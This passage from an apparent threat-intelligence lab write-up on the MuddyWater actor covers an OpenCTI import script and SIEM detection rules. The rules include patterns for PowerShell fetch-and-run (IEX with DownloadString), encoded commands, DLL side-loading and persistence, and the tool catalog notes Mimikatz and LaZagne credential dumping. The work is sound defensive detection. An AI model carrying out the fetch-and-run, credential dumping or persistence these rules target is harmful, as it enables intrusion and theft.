Docker Compose, connectors, and an AI enrichment connector that calls Claude via the Anthropic API — lives in a dedicated project:</p><ul><li><strong>GitHub:</strong> <a href="https://github.com/anpa1200/opencti-intelligent-shield">github.com/anpa1200/opencti-intelligent-shield</a></li></ul><p><a href="https://github.com/anpa1200/opencti-intelligent-shield">GitHub - anpa1200/opencti-intelligent-shield: OpenCTI AI-driven threat intelligence enrichment with Claude and Docusaurus documentation</a></p><ul><li><strong>Medium guide:</strong></li></ul><p><a href="https://medium.com/@1200km/the-intelligent-shield-057c9b4b9394">The Intelligent Shield. OpenCTI</a></p><ul><li><strong>Main guide:</strong> <a href="https://anpa1200.github.io/opencti-intelligent-shield/">anpa1200.github.io/opencti-intelligent-shield</a></li></ul><p><a href="https://anpa1200.github.io/opencti-intelligent-shield">OpenCTI AI Enrichment | The Intelligent Shield</a></p><p>The Intelligent Shield project covers: OpenCTI core stack (Redis, Elasticsearch, MinIO, RabbitMQ, platform, workers), MITRE ATT&amp;CK connector, and a custom internal enrichment connector that uses Claude to automatically summarize and enrich threat objects. Docker Compose files, a sanitized .env.example, and full setup instructions are all version-controlled.</p><p>To spin up the stack standalone (outside Operation Desert Hydra):</p><pre>git clone https://github.com/anpa1200/opencti-intelligent-shield.git openCTI<br>cd openCTI<br>cp .env.example .env<br># fill in tokens and passwords<br>./scripts/start-all.sh   # OpenCTI at :8080<br>./scripts/stop-all.sh    # halt, preserves volumes</pre><p>In the context of Operation Desert Hydra the stack is embedded in stack/ and started with bash start.sh — no separate clone needed. The Intelligent Shield project is the standalone reference deployment for anyone who wants OpenCTI without the lab.</p><h4>Step 10: Stack Start</h4><pre>bash start.sh --skip-lab   # starts OpenCTI + Elasticsearch + Kibana only</pre><p>All 12 core containers start: Redis, Elasticsearch, MinIO, RabbitMQ, OpenCTI platform, 3 workers, and the MITRE ATT&amp;CK connector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_8pjCgFqyge4o-bahQTX6Q.png"></figure><p><strong>Result:</strong> OpenCTI reachable at http://localhost:8080. All containers healthy.</p><h4>Step 11: MITRE ATT&amp;CK Connector Sync</h4><p>The MITRE ATT&amp;CK connector loads 846 techniques into the graph. This sync must complete before the import script can link procedures to techniques.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k4o9xri96voJcB0EUQPqfg.png"></figure><p><strong>Result:</strong> 846 ATT&amp;CK patterns loaded. Connector state: ACTIVE.</p><h4>Step 12: Import Script</h4><p>Script: <a href="https://github.com/anpa1200/operation-desert-hydra/blob/main/tools/opencti_import.py"><strong>tools/opencti_import.py</strong></a></p><pre>export OPENCTI_URL=http://localhost:8080<br>export OPENCTI_TOKEN=&lt;admin token from stack/.env&gt;<br>python3 tools/opencti_import.py</pre><p>The script reads data/sources.yaml and data/procedures.yaml — it does not hardcode any intelligence. The YAML files are the single source of truth; the script is just a translation layer from those files into OpenCTI's API.</p><p><strong>What it creates and why:</strong></p><p><strong>Step 1 — Iran MOIS (Identity: Organization).</strong> Every object in OpenCTI needs a createdBy reference. Creating the sponsoring organization first gives all downstream objects a consistent authoring context and makes the attribution relationship explicit in the graph: MuddyWater → attributed-to → Iran MOIS.</p><p><strong>Step 2 — MuddyWater (Intrusion Set).</strong> The intrusion set object carries all known aliases: Seedworm, Mango Sandstorm, TA450, Static Kitten, TEMP.Zagros, Mercury, DEV-1084. Aliases matter for deduplication — OpenCTI uses them to avoid creating duplicate entities when the same actor appears under different names in different reports.</p><p><strong>Step 3 — Malware catalog (9 objects).</strong> Each actor-developed tool gets a Malware object with a description derived from source reporting. The catalog: POWERSTATS, PowGoop, Small Sieve, Canopy, Mori, BugSleep, AnchorRAT, SyncroRAT, DarkBit.</p><p><strong>Step 4 — Tool catalog (4 objects).</strong> Legitimate tools abused by the actor are STIX Tool objects, not Malware — the distinction matters for downstream analysis. The catalog: AteraAgent, SimpleHelp, Mimikatz, LaZagne.</p><p><strong>Step 5 — uses relationships.</strong> MuddyWater → uses → each malware and tool object. These relationships make the graph queryable: “which tools does this actor use?” returns all 13 objects in one hop.</p><p><strong>Step 6 — Reports from sources.yaml.</strong> One Report object per promoted source, with publisher, reliability rating, credibility score, actor claims, key entities, and ATT&amp;CK candidates written into the description. MuddyWater is added as an object reference so each report is queryable from the actor page.</p><p><strong>Step 7 — ATT&amp;CK pattern links from procedures.yaml.</strong> Iterates all attck_candidates across the 10 procedure records and creates MuddyWater → uses → ATT&amp;CK technique relationships. If the MITRE connector has not yet synced a technique, the script creates a stub Attack Pattern object (with x_mitre_id set) and flags it for enrichment. This prevents the import from failing on a timing issue between the connector sync and the import run.</p><p>The script is <strong>idempotent</strong>: every object lookup uses a read() before create(). Re-running after a partial failure or after the MITRE connector syncs simply confirms existing objects and fills in any gaps.</p><pre>#!/usr/bin/env python3<br>"""<br>Desert Hydra — Phase 3 OpenCTI graph import.Reads data/sources.yaml and data/procedures.yaml and creates:<br>  - Identity:       Iran MOIS (organization)<br>  - Intrusion Set:  MuddyWater (with all known aliases)<br>  - Malware:        actor-developed tools (9 objects)<br>  - Tool:           legitimate tools abused (4 objects)<br>  - Reports:        one per promoted source (up to 20)<br>  - Relationships:  attributed-to, uses (malware/tool/ATT&amp;CK)<br>Idempotent - existing objects are not duplicated.<br>ATT&amp;CK pattern links are skipped for techniques not yet synced by the<br>MITRE connector; re-run the script after the MITRE sync completes.<br>Usage:<br>    export OPENCTI_URL=http://localhost:8080<br>    export OPENCTI_TOKEN=&lt;admin-token&gt;<br>    python3 tools/opencti_import.py<br>"""<br>import os<br>import sys<br>import yaml<br>from pathlib import Path<br>from pycti import OpenCTIApiClient<br>from pycti.entities.opencti_identity import IdentityTypes<br># ── Bootstrap ─────────────────────────────────────────────────────────────────<br>OPENCTI_URL   = os.environ.get("OPENCTI_URL",   "http://localhost:8080")<br>OPENCTI_TOKEN = os.environ.get("OPENCTI_TOKEN", "")<br>REPO_ROOT     = Path(__file__).resolve().parent.parent<br>if not OPENCTI_TOKEN:<br>    sys.exit("ERROR: set OPENCTI_TOKEN environment variable")<br>api = OpenCTIApiClient(url=OPENCTI_URL, token=OPENCTI_TOKEN, log_level="error")<br>print(f"[desert-hydra] Connected  {OPENCTI_URL}")<br># ── Load YAML data ─────────────────────────────────────────────────────────────<br>with open(REPO_ROOT / "data" / "sources.yaml") as f:<br>    SOURCES = yaml.safe_load(f)["sources"]<br>with open(REPO_ROOT / "data" / "procedures.yaml") as f:<br>    PROCEDURES = yaml.safe_load(f)["procedures"]<br>print(f"[desert-hydra] Loaded {len(SOURCES)} sources, {len(PROCEDURES)} procedures")<br># ── TLP:WHITE ─────────────────────────────────────────────────────────────────<br>def get_tlp_white():<br>    results = api.marking_definition.list(<br>        filters={<br>            "mode": "and",<br>            "filters": [{"key": "definition", "values": ["TLP:WHITE"]}],<br>            "filterGroups": [],<br>        }<br>    )<br>    if results:<br>        return results[0]["id"]<br>    obj = api.marking_definition.create(<br>        definition_type="TLP",<br>        definition="TLP:WHITE",<br>        x_opencti_color="#ffffff",<br>        x_opencti_order=0,<br>    )<br>    return obj["id"]<br>TLP_WHITE = get_tlp_white()<br># ── Helpers ───────────────────────────────────────────────────────────────────<br>def _find(accessor, name):<br>    """Look up a STIX object by name. Returns the object dict or None."""<br>    return accessor.read(<br>        filters={<br>            "mode": "and",<br>            "filters": [{"key": "name", "values": [name]}],<br>            "filterGroups": [],<br>        }<br>    )<br><br>def link(from_id, to_id, rel_type, confidence=80):<br>    """Create a STIX core relationship; silently skip if it already exists."""<br>    try:<br>        api.stix_core_relationship.create(<br>            fromId=from_id,<br>            toId=to_id,<br>            relationship_type=rel_type,<br>            confidence=confidence,<br>            objectMarking=[TLP_WHITE],<br>        )<br>    except Exception:<br>        pass<br><br>ATTCK_NAMES = {<br>    "T1574.002": "DLL Side-Loading",<br>    "T1574.001": "DLL Search Order Hijacking",<br>    "T1546.015": "Component Object Model Hijacking",<br>    "T1218.010": "Regsvr32",<br>}<br>def find_or_create_attack_pattern(mitre_id):<br>    """Look up an ATT&amp;CK pattern by x_mitre_id. Create stub if not synced yet."""<br>    result = api.attack_pattern.read(<br>        filters={<br>            "mode": "and",<br>            "filters": [{"key": "x_mitre_id", "values": [mitre_id]}],<br>            "filterGroups": [],<br>        }<br>    )<br>    if result:<br>        return result["id"], False<br>    name = ATTCK_NAMES.get(mitre_id, mitre_id)<br>    obj = api.attack_pattern.create(<br>        name=name,<br>        x_mitre_id=mitre_id,<br>        description=f"MITRE ATT&amp;CK technique {mitre_id}. Created as stub pending MITRE connector sync.",<br>        objectMarking=[TLP_WHITE],<br>        confidence=75,<br>    )<br>    return obj["id"], True<br># ── Step 1: Iran MOIS Identity ────────────────────────────────────────────────<br>existing = _find(api.identity, "Iran MOIS")<br>if existing:<br>    MOIS_ID = existing["id"]<br>else:<br>    obj = api.identity.create(<br>        type=IdentityTypes.ORGANIZATION.value,<br>        name="Iran MOIS",<br>        description=(<br>            "Iranian Ministry of Intelligence and Security (MOIS). "<br>            "State sponsor attributed to MuddyWater cyber operations by CISA, FBI, "<br>            "CNMF, NCSC-UK, and NSA in joint advisory AA22-055A (February 2022)."<br>        ),<br>        objectMarking=[TLP_WHITE],<br>        confidence=85,<br>    )<br>    MOIS_ID = obj["id"]<br># ── Step 2: MuddyWater Intrusion Set ──────────────────────────────────────────<br>existing = _find(api.intrusion_set, "MuddyWater")<br>if existing:<br>    MW_ID = existing["id"]<br>else:<br>    obj = api.intrusion_set.create(<br>        name="MuddyWater",<br>        aliases=[<br>            "Seedworm", "Mango Sandstorm", "TA450",<br>            "Static Kitten", "TEMP.Zagros", "Mercury", "DEV-1084",<br>        ],<br>        description=(<br>            "Iranian MOIS subordinate threat group active since at least 2017. "<br>            "Targets government, defense, telecom, oil and gas, and MSPs globally. "<br>            "Significant focus on Israeli organizations since 2022. Known for "<br>            "spearphishing, RMM tool abuse, and a shift toward in-house tooling "<br>            "(BugSleep, AnchorRAT) beginning ~May 2024."<br>        ),<br>        resource_level="government",<br>        primary_motivation="espionage",<br>        confidence=85,<br>        objectMarking=[TLP_WHITE],<br>        createdBy=MOIS_ID,<br>    )<br>    MW_ID = obj["id"]<br>link(MW_ID, MOIS_ID, "attributed-to", 85)<br># ── Step 3: Malware catalog ────────────────────────────────────────────────────<br>MALWARE_CATALOG = [<br>    {"name": "POWERSTATS",  "aliases": ["Powermud"],   "description": "MuddyWater first-stage PowerShell backdoor (MITRE S0223)."},<br>    {"name": "PowGoop",     "aliases": ["Goopdate"],   "description": "DLL loader hijacking GoogleUpdate.exe via side-loading (MITRE S1046)."},<br>    {"name": "Small Sieve", "aliases": [],             "description": "Python backdoor compiled as NSIS; Telegram Bot API C2; OutlookMicrosift Run key."},<br>    {"name": "Canopy",      "aliases": ["Starwhale"],  "description": "Excel-macro dropper; startup folder persistence; HTTP POST C2."},<br>    {"name": "Mori",        "aliases": [],             "description": "DNS-tunneling backdoor deployed as FML.dll via regsvr32.exe."},<br>    {"name": "BugSleep",    "aliases": [],             "description": "In-house backdoor (2024); 43-minute scheduled task; shellcode injection."},<br>    {"name": "AnchorRAT",   "aliases": [],             "description": "Custom RAT (2024); COM hijacking persistence (T1546.015)."},<br>    {"name": "SyncroRAT",   "aliases": [],             "description": "RMM-based RAT; Technion campaign (Feb 2023); Log4j initial access."},<br>    {"name": "DarkBit",     "aliases": [],             "description": "Ransomware/wiper; Technion attack; vssadmin shadow copy deletion."},<br>]<br>MALWARE_IDS = {}<br>for m in MALWARE_CATALOG:<br>    existing = _find(api.malware, m["name"])<br>    if existing:<br>        MALWARE_IDS[m["name"]] = existing["id"]<br>    else:<br>        obj = api.malware.create(<br>            name=m["name"], aliases=m["aliases"],<br>            description=m["description"], is_family=False,<br>            objectMarking=[TLP_WHITE], createdBy=MOIS_ID,<br>        )<br>        MALWARE_IDS[m["name"]] = obj["id"]<br># ── Step 4: Tool catalog ──────────────────────────────────────────────────────<br>TOOL_CATALOG = [<br>    {"name": "AteraAgent",  "aliases": ["Atera RMM"], "description": "Commercial RMM abused for persistent remote access via phishing."},<br>    {"name": "SimpleHelp",  "aliases": [],            "description": "Commercial RMM abused in 2024 Israeli targeting."},<br>    {"name": "Mimikatz",    "aliases": [],            "description": "LSASS credential dumping (T1003.001), used with procdump64.exe."},<br>    {"name": "LaZagne",     "aliases": [],            "description": "LSA secrets (T1003.004) and cached domain credential dumping (T1003.005)."},<br>]<br>TOOL_IDS = {}<br>for t in TOOL_CATALOG:<br>    existing = _find(api.tool, t["name"])<br>    if existing:<br>        TOOL_IDS[t["name"]] = existing["id"]<br>    else:<br>        obj = api.tool.create(<br>            name=t["name"], aliases=t["aliases"],<br>            description=t["description"],<br>            objectMarking=[TLP_WHITE], createdBy=MOIS_ID,<br>        )<br>        TOOL_IDS[t["name"]] = obj["id"]<br># ── Step 5: uses relationships ────────────────────────────────────────────────<br>for mid in MALWARE_IDS.values():<br>    link(MW_ID, mid, "uses", 80)<br>for tid in TOOL_IDS.values():<br>    link(MW_ID, tid, "uses", 80)<br># ── Step 6: Reports from sources.yaml ────────────────────────────────────────<br>SOURCE_DATES = {<br>    "src_usgov_aa22_055a_pdf_mirror":        "2022-02-24T00:00:00.000Z",<br>    "src_incd_muddywater_darkbit_2023":      "2023-02-07T00:00:00.000Z",<br>    "src_incd_muddywater_2024_evolution":    "2024-06-01T00:00:00.000Z",<br>    "src_cisa_aa22_055a_page":               "2022-02-24T00:00:00.000Z",<br>    "src_ncsc_uk_muddywater_joint_advisory": "2022-02-24T00:00:00.000Z",<br>    "src_incd_recent_phishing_1947":         "2024-09-01T00:00:00.000Z",<br>    "src_mitre_attack_muddywater_g0069":     "2024-01-01T00:00:00.000Z",<br>}<br>REPORT_IDS = {}<br>for src in SOURCES:<br>    src_id   = src["id"]<br>    title    = src["title"]<br>    pub_date = SOURCE_DATES.get(src_id, "2023-01-01T00:00:00.000Z")<br>    confidence = 85 if src.get("source_reliability") == "A" else 70<br>    description = (<br>        f"Publisher: {src['publisher']}\n"<br>        f"Reliability: {src.get('source_reliability','?')} / "<br>        f"Credibility: {src.get('information_credibility','?')}\n"<br>        f"URL: {src['url']}\n"<br>        f"Actor claims: {', '.join(src.get('actor_claims', []))}\n"<br>        f"ATT&amp;CK candidates: {', '.join(src.get('candidate_attck_techniques', []))}"<br>    )<br>    existing = _find(api.report, title)<br>    if existing:<br>        REPORT_IDS[src_id] = existing["id"]<br>    else:<br>        obj = api.report.create(<br>            name=title, published=pub_date,<br>            description=description,<br>            report_types=["threat-report"],<br>            confidence=confidence,<br>            objectMarking=[TLP_WHITE],<br>            createdBy=MOIS_ID,<br>            objects=[MW_ID],<br>        )<br>        REPORT_IDS[src_id] = obj["id"]<br># ── Step 7: ATT&amp;CK pattern links from procedures ──────────────────────────────<br>linked, stubs = set(), []<br>for proc in PROCEDURES:<br>    for candidate in proc.get("attck_candidates", []):<br>        tid = candidate["technique"]<br>        if tid in linked:<br>            continue<br>        pattern_id, created_as_stub = find_or_create_attack_pattern(tid)<br>        link(MW_ID, pattern_id, "uses", 75)<br>        linked.add(tid)<br>        if created_as_stub:<br>            stubs.append(tid)<br># ── Summary ───────────────────────────────────────────────────────────────────<br>print(f"Import complete - malware: {len(MALWARE_IDS)}, tools: {len(TOOL_IDS)}, "<br>      f"reports: {len(REPORT_IDS)}, ATT&amp;CK links: {len(linked)}, stubs: {len(stubs)}")<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WMvnfWfF50hj3Rk60DBAxA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XMTEbgDPokzU9iTK3sjEww.png"></figure><p><strong>Result:</strong> All objects created. Re-run confirms idempotency (no duplicates).</p><h4>Step 13: Intrusion Set Verification</h4><p><strong>Result:</strong> MuddyWater entity with all aliases, Iran MOIS attribution relationship, campaign links, and malware/tool associations confirmed in OpenCTI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5KWUHIP3nkUhF6wpQpDa3g.png"></figure><h4>Step 14: Knowledge Graph</h4><p><strong>Result:</strong> Graph shows MuddyWater → 9 malware, 4 tools, 3 campaigns, 21 ATT&amp;CK techniques — all with source-annotated relationship edges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-B2D00HhbhmdA5rtGm7klA.png"></figure><h4>Step 15: ATT&amp;CK Matrix Coverage</h4><p><strong>Result:</strong> 21 techniques highlighted across 8 tactics in the ATT&amp;CK Enterprise matrix.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4XphzS2vtf-peVJ-ArTglg.png"></figure><h4>Step 16: BugSleep Malware Detail</h4><p><strong>Result:</strong> BugSleep malware object with INCD 2024 source annotation, T1053.005 relationship (43-minute task), and C2 technique links confirmed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3rt63a6jCO_-fk-BLdyaTw.png"></figure><h4>Step 17: Reports List</h4><p><strong>Result:</strong> 20 report objects, one per promoted source. Each report links to the procedures and techniques it evidences.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Ej71hGDspW3ahdqZWATAA.png"></figure><h4>Step 19: OpenCTI Dashboard</h4><p><strong>Result:</strong> Custom dashboard showing technique frequency heatmap by source tier — highest-corroborated techniques visible at a glance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_HccHBJxzb-ZZu93WImMhg.png"></figure><h3>Phase 4: Detection Atlas</h3><p>The detection atlas is the core analytical output. Each of the 11 detection records in <a href="https://github.com/anpa1200/operation-desert-hydra/blob/main/data/detections.yaml">data/detections.yaml</a> contains:</p><ul><li>The specific MuddyWater behavior it targets (not the ATT&amp;CK technique category)</li><li>Required log sources and capability gates</li><li>Multi-rule pseudologic (SIEM-agnostic — works as a template for Sigma, KQL, SPL, or any rule format)</li><li>False positive classes and tuning guidance</li><li>A creation_logic field explaining <em>why</em> the rule is designed this way — the design decision, not just what the rule does</li></ul><p>Coverage scores follow a strict scale: <strong>5</strong> = lab-validated with a Kibana screenshot. <strong>4</strong> = correlated analytic (good logic, single source or partial lab). <strong>3</strong> = behavioral detection with partial validation. A score of 5 requires a proof, not just passing pseudologic.</p><p><strong>Step 20 — Analyst Review</strong></p><p>Before any detection went to validation, every record went through a review pass that checked: operator precedence in multi-clause conditions, access mask completeness for LSASS detection, path allowlist accuracy for the GoogleUpdate/Goopdate IoC, and ATT&amp;CK technique coverage gaps. The review fixed a real operator precedence bug in det_mw_0010 Rule B where the command_line clause was outside the event_type guard, tightened the LSASS access mask set, improved T1033 coverage in det_mw_0009 Rule C via Win32_ComputerSystem, and added the x86/x64 Google installation path allowlist to det_mw_0004 Rule A.</p><h4>det_mw_0001 — Email Delivery Correlated with Process Spawn</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*ycAoCbrkdxo6oxx4X0Gkhw.png"></figure><p><em>Techniques: T1566.001, T1566.002 · Score: 5 (lab-validated)</em></p><p><strong>What it targets:</strong> MuddyWater delivers malicious content three ways — ZIP or Office macro attachments, links to Egnyte/OneDrive delivering RMM installers, and emails from compromised accounts. Corroborated by CISA AA22–055A, INCD 2023, and INCD 2024. The highest-priority initial access vector in the dataset.</p><p><strong>Why it’s built this way:</strong> Email delivery alone is not a detection signal — MuddyWater’s phishing emails are indistinguishable from legitimate mail at the gateway layer. The detection value comes from correlating delivery with a process spawn on the recipient endpoint within a tight 5-minute window. The parent process constraint (Outlook, browser) is the key limiter: it restricts scope to email-triggered or link-triggered execution, which is exactly the documented delivery chain. Both attachment-based and link-based delivery methods are covered because all variants are source-confirmed. The correlated logic type reflects that neither event alone is sufficient — only the combination is meaningful.</p><p><strong>Required telemetry:</strong> Email gateway or SEG with attachment metadata and URL extraction. EDR or Sysmon Event ID 1 with parent image and command line. Without the gateway telemetry, this detection degrades to parent-process heuristics only and loses the delivery-correlation value.</p><pre>event_type IN [email_delivery] AND<br>  (attachment.extension IN ["zip","xlsx","xlsm","pdf","docm"] OR<br>   link.domain IN ["egnyte.com","onedrive.live.com","1drv.ms"])<br>CORRELATE WITHIN 300 seconds WITH<br>event_type IN [process_create] WHERE<br>  parent_image IN ["OUTLOOK.EXE","chrome.exe","firefox.exe","msedge.exe"] AND<br>  image IN ["powershell.exe","cmd.exe","wscript.exe","mshta.exe",<br>            "AteraAgent.exe","ScreenConnect.exe","SimpleHelp.exe","rport.exe"]</pre><p><strong>Key false positives:</strong> Legitimate macro-enabled Office files from internal users. IT-approved RMM tools deployed via email links during onboarding. Tune by excluding known sender domains and approved RMM deployment windows.</p><h4>det_mw_0002 — Web Service Spawning Interpreter Shell</h4><p><em>Techniques: T1190 · Score: 5 (lab-validated)</em></p><p><strong>What it targets:</strong> MuddyWater uses public-facing exploitation as a secondary initial access vector — CVE-2020–0688 (Exchange), CVE-2020–1472 (Netlogon/Zerologon), CVE-2021–44228 (Log4j), and unspecified VPN vulnerabilities from INCD 2024.</p><p><strong>Why it’s built this way:</strong> The detection targets the post-exploitation moment — a web service spawning a shell — rather than the exploit payload itself. This is deliberately CVE-agnostic: it fires on CVE-2020–0688, CVE-2020–1472, Log4j, and any unnamed VPN vulnerability without needing individual exploit signatures. The parent process list maps directly to the documented CVEs: w3wp.exe covers Exchange and IIS, java.exe covers Log4j, lsass.exe covers Netlogon exploitation leading to SYSTEM-level shell creation. The SYSTEM integrity level filter is the key noise reducer — legitimate administrative scripts rarely run at SYSTEM under IIS application pools without a clear documented reason.</p><p><strong>Required telemetry:</strong> EDR or Sysmon Event ID 1 with full parent-child chain and integrity level. IDS/IPS for CVE-specific signatures as a complementary layer.</p><pre>event_type = process_create AND<br>parent_image IN ["w3wp.exe","java.exe","lsass.exe","services.exe",<br>                 "vmtoolsd.exe","vpnagent.exe"] AND<br>image IN ["cmd.exe","powershell.exe","wscript.exe","cscript.exe","bash.exe"] AND<br>(parent_user IN ["NETWORK SERVICE","IIS_IUSRS","SYSTEM"] OR<br> integrity_level = "System")</pre><p><strong>Key false positives:</strong> Legitimate administrative scripts under IIS application pools. Java-based monitoring agents that spawn processes. Tune by process hash allowlisting for known-good management tools.</p><h4>det_mw_0003 — PowerShell Encoded Command and Script Obfuscation</h4><p><em>Techniques: T1059.001, T1027 · Score: 5 (lab-validated)</em></p><p><strong>What it targets:</strong> PowerShell obfuscation is a cross-cutting technique present in every MuddyWater tool tier — PowGoop (Base64 C2 setup), POWERSTATS (IEX + web request for stage delivery), and the 2024 lure campaigns (embedded API key executed via PowerShell). Three distinct usage patterns across tools required three rules.</p><p><strong>Why it’s built this way:</strong> Each rule targets a different MuddyWater PowerShell pattern with a different telemetry requirement.</p><p>Rule A targets PowGoop and POWERSTATS loader delivery. The regex \s-e[a-zA-Z]*\s+[A-Za-z0-9+/=]{50,} is deliberately written to match all unambiguous prefix forms of -EncodedCommand (-e, -ec, -en, -enc) while the 50-character minimum for the Base64 blob avoids matching the -Encoding parameter. This is the operator precision that matters: -Encoding UTF8 would otherwise match a naive regex.</p><p>Rule B targets POWERSTATS script execution behavior: IEX combined with a web request. This is the decoded content layer — it requires Script Block Logging (Event ID 4104), which is the capability gate that determines whether this detection class exists at all in a given environment.</p><p>Rule C is the delivery-context fallback: PowerShell spawned by an Office application, email client, or browser has no legitimate explanation in a standard enterprise environment and fires regardless of whether Script Block Logging is enabled.</p><p><strong>Required telemetry:</strong> Script Block Logging (Event ID 4104) — required for Rule B and for the highest-fidelity version of this detection. Sysmon Event ID 1 for Rules A and C. Without Script Block Logging, the detection degrades to command-line heuristics only.</p><pre># Rule A — Encoded command flag (all prefix forms: -e, -ec, -en, -enc ...)<br>event_type = process_create AND<br>image ENDSWITH "powershell.exe" AND<br>command_line IMATCHES "\s-e[a-zA-Z]*\s+[A-Za-z0-9+/=]{50,}"</pre><pre># Rule B — Script Block content (Event ID 4104)<br>event_type = script_block_log AND<br>script_block_text MATCHES "(IEX|Invoke-Expression|InvokeScript)" AND<br>script_block_text MATCHES "(WebClient|Invoke-WebRequest|DownloadString|Net\.Http)"</pre><pre># Rule C — Suspicious parent process<br>event_type = process_create AND<br>image ENDSWITH "powershell.exe" AND<br>parent_image IN ["OUTLOOK.EXE","winword.exe","excel.exe",<br>                 "chrome.exe","firefox.exe","msedge.exe","WScript.exe"]</pre><p><strong>Key false positives:</strong> Administrative scripts using -EncodedCommand for special characters. SCCM/Ansible deployments running Base64-encoded payloads. Baseline known-good encoded commands by hash before alerting on Rule A.</p><h4>det_mw_0004 — Unsigned DLL Loaded by Signed Executable</h4><p><em>Techniques: T1574.002 · Score: 3 (behavioral, partial validation)</em></p><p><strong>What it targets:</strong> PowGoop’s execution method — a malicious DLL renamed Goopdate.dll placed alongside GoogleUpdate.exe, causing the legitimate signed binary to load it. Confirmed in 2024 toolset by INCD 2024.</p><p><strong>Why it’s built this way:</strong> Two rules serve different confidence tiers. Rule A is sourced directly from the documented PowGoop technique: the specific process name (GoogleUpdate.exe), DLL name (Goopdate.dll), and the fact that any path outside the Google installation directories is anomalous. The allowlist covers both x86 and x64 installation paths because omitting either creates a bypass. This combination — specific binary, specific DLL name, path outside expected directory — is near-unique and fires with high precision. Rule B is the generic behavioral net for future DLL side-loading variants where the actor may use different binary names — it trades precision for coverage against toolset evolution.</p><p>Score is 3 (not 5) because the lab’s stub DLL did not produce sufficient Sysmon EID 7 signal during validation. The detection logic is sound; the telemetry dependency (Sysmon image load events with signing status) is the constraint.</p><p><strong>Required telemetry:</strong> Sysmon Event ID 7 (ImageLoad) with signed/unsigned status — this is the hard dependency. Without it, DLL loads are invisible to SIEM-based detection.</p><pre># Rule A — Specific IoC: GoogleUpdate loading Goopdate from non-Google path<br>event_type = image_load AND<br>image ENDSWITH "GoogleUpdate.exe" AND<br>loaded_image ENDSWITH "Goopdate.dll" AND<br>NOT (loaded_image_path STARTSWITH "C:\Program Files (x86)\Google\" OR<br>     loaded_image_path STARTSWITH "C:\Program Files\Google\")</pre><pre># Rule B — Generic: signed process loading unsigned DLL from user-writable path<br>event_type = image_load AND<br>process_signed = true AND<br>loaded_image_signed = false AND<br>loaded_image_path MATCHES "(\\Users\\|\\AppData\\|\\Temp\\|\\ProgramData\\)"</pre><p><strong>Key false positives:</strong> Third-party software shipping unsigned DLLs alongside signed executables (common). Developer workstations with locally compiled DLLs. Rule B requires environment-specific tuning before production deployment.</p><h4>det_mw_0005 — Registry Run Key and Startup Folder Persistence</h4><p><em>Techniques: T1547.001 · Score: 5 (lab-validated)</em></p><p><strong>What it targets:</strong> Multiple MuddyWater malware families use Run key persistence with actor-specific value names. Small Sieve: OutlookMicrosift (deliberate typo mimicking Microsoft). AA22-055A documents a second key: SystemTextEncoding. Canopy installs a WSF script in the startup folder — a sub-technique that doesn't appear as a Run key write.</p><p><strong>Why it’s built this way:</strong> Three rules cover three distinct persistence mechanisms across the malware catalog. Rule A is an exact-match IoC alert on the two named value names — it fires immediately on any match without needing path or parent context, because these specific strings have no legitimate usage in a standard enterprise environment. Rule B is the behavioral safety net for unknown or renamed values: path heuristic (AppData/Temp) combined with a non-installer parent covers the common pattern of malware writing its own persistence without using an installer. The process_integrity_level filter removes high-integrity (admin-level) processes from the behavioral rule because legitimate software installers typically run elevated. Rule C is added specifically to cover Canopy's startup folder WSF persistence, which doesn't show up as a Run key write at all — it's a file creation event.</p><p><strong>Required telemetry:</strong> Sysmon Event ID 13 (registry value set) for Rules A and B. Sysmon Event ID 11 (file create) for Rule C.</p><pre># Rule A — Specific IoC: known MuddyWater Run key value names<br>event_type = registry_set AND<br>registry_key MATCHES "\\CurrentVersion\\Run" AND<br>registry_value_name IN ["OutlookMicrosift","SystemTextEncoding"]<br><br><br># Rule B - Behavioral: Run key pointing to writable/unusual path<br>event_type = registry_set AND<br>registry_key MATCHES "(HKCU|HKLM)\\.*\\CurrentVersion\\Run" AND<br>registry_value_data MATCHES "(\\AppData\\|\\Temp\\|\\ProgramData\\|\\Users\\)" AND<br>process_image NOT IN ["msiexec.exe","setup.exe","install.exe","update.exe"] AND<br>process_integrity_level NOT IN ["High","System"]<br># Rule C - Script files written to startup folder (covers Canopy WSF)<br>event_type = file_create AND<br>file_path MATCHES "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" AND<br>file_extension IN ["wsf","vbs","js","ps1","bat","cmd"]</pre><p><strong>Key false positives:</strong> Rule A has essentially zero false positives on the specific value names. Rule B requires installer process exclusion — the list is environment-specific. Rule C may fire on legitimate startup scripts deployed by IT via Group Policy; exclude by file hash or signer.</p><h4>det_mw_0006 — Scheduled Task with 43-Minute Beacon Interval</h4><p><em>Techniques: T1053.005 · Score: 4 (correlated analytic)</em></p><p><strong>What it targets:</strong> BugSleep creates a Windows scheduled task triggered every 43 minutes for C2 beaconing — a specific behavioral fingerprint documented in the INCD 2024 report. The interval is documented as customizable, but 43 minutes is the observed operational value.</p><p><strong>Why it’s built this way:</strong> The 43-minute interval is the single most precise artifact in the entire procedure dataset. Rule A is designed as a high-fidelity immediate alert requiring no tuning: PT43M is the ISO 8601 duration format for 43 minutes and appears verbatim in the Windows Task XML. This fires with near-zero false positives because no legitimate software uses a 43-minute repeat interval for any standard purpose. Rule B generalizes the pattern for future BugSleep variants that may use a different interval: short repetition (under 60 minutes) combined with a task action pointing to a user-writable path is anomalous regardless of exact interval. Rule C is the telemetry fallback — many environments do not forward Task Scheduler event logs to SIEM, but schtasks.exe process creation (Sysmon EID 1) is more commonly collected and captures the command line.</p><p>Score is 4 (not 5) because this is a single-source procedure — INCD 2024 only. Before treating Rule A as a high-confidence production alert, corroborate with a second vendor source.</p><p><strong>Required telemetry:</strong> Windows Security Event ID 4698 (scheduled task created) or Task Scheduler operational log for Rules A and B. Sysmon Event ID 1 for Rule C.</p><pre># Rule A — Specific: 43-minute interval (BugSleep 